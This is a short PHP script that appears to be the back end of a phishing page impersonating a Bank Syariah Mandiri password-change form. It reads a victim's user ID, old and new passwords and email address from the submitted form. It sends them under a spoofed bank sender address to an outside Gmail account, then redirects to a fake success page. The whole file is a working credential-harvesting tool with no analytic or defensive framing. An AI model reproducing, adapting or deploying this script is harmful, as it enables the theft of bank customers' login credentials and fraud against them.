<?php

$EmailFrom = "mandiricare@mandirisyariah.com";
$EmailTo = "invisibles778@gmail.com";
$Subject = "MYBSMANDIRI PASSWORD CHANGE";
$MyBSMUserID = Trim(stripslashes($_POST['id']));
$OldPassword = Trim(stripslashes($_POST['oldpass']));
$NewPassword = Trim(stripslashes($_POST['newpass']));
$ConfirmPassword = Trim(stripslashes($_POST['ccnewpass'])); 
$EmailAddress = Trim(stripslashes($_POST['email']));

// validation
$validationOK=true;
if (!$validationOK) {
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
  exit;
}

// prepare email body text
$Body = "";
$Body .= "MyBSMUserID: ";
$Body .= $MyBSMUserID;
$Body .= "\n";
$Body .= "OldPassword: ";
$Body .= $OldPassword;
$Body .= "\n";
$Body .= "NewPassword: ";
$Body .= $NewPassword;
$Body .= "\n";
$Body .= "ConfirmPassword: ";
$Body .= $ConfirmPassword;
$Body .= "\n";
$Body .= "EmailAddress: ";
$Body .= $EmailAddress;
$Body .= "\n";

// send email 
$success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>");

// redirect to success page 
if ($success){
  print "<meta http-equiv=\"refresh\" content=\"0;URL=psssuccess.html\">";
}
else{
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
}
?>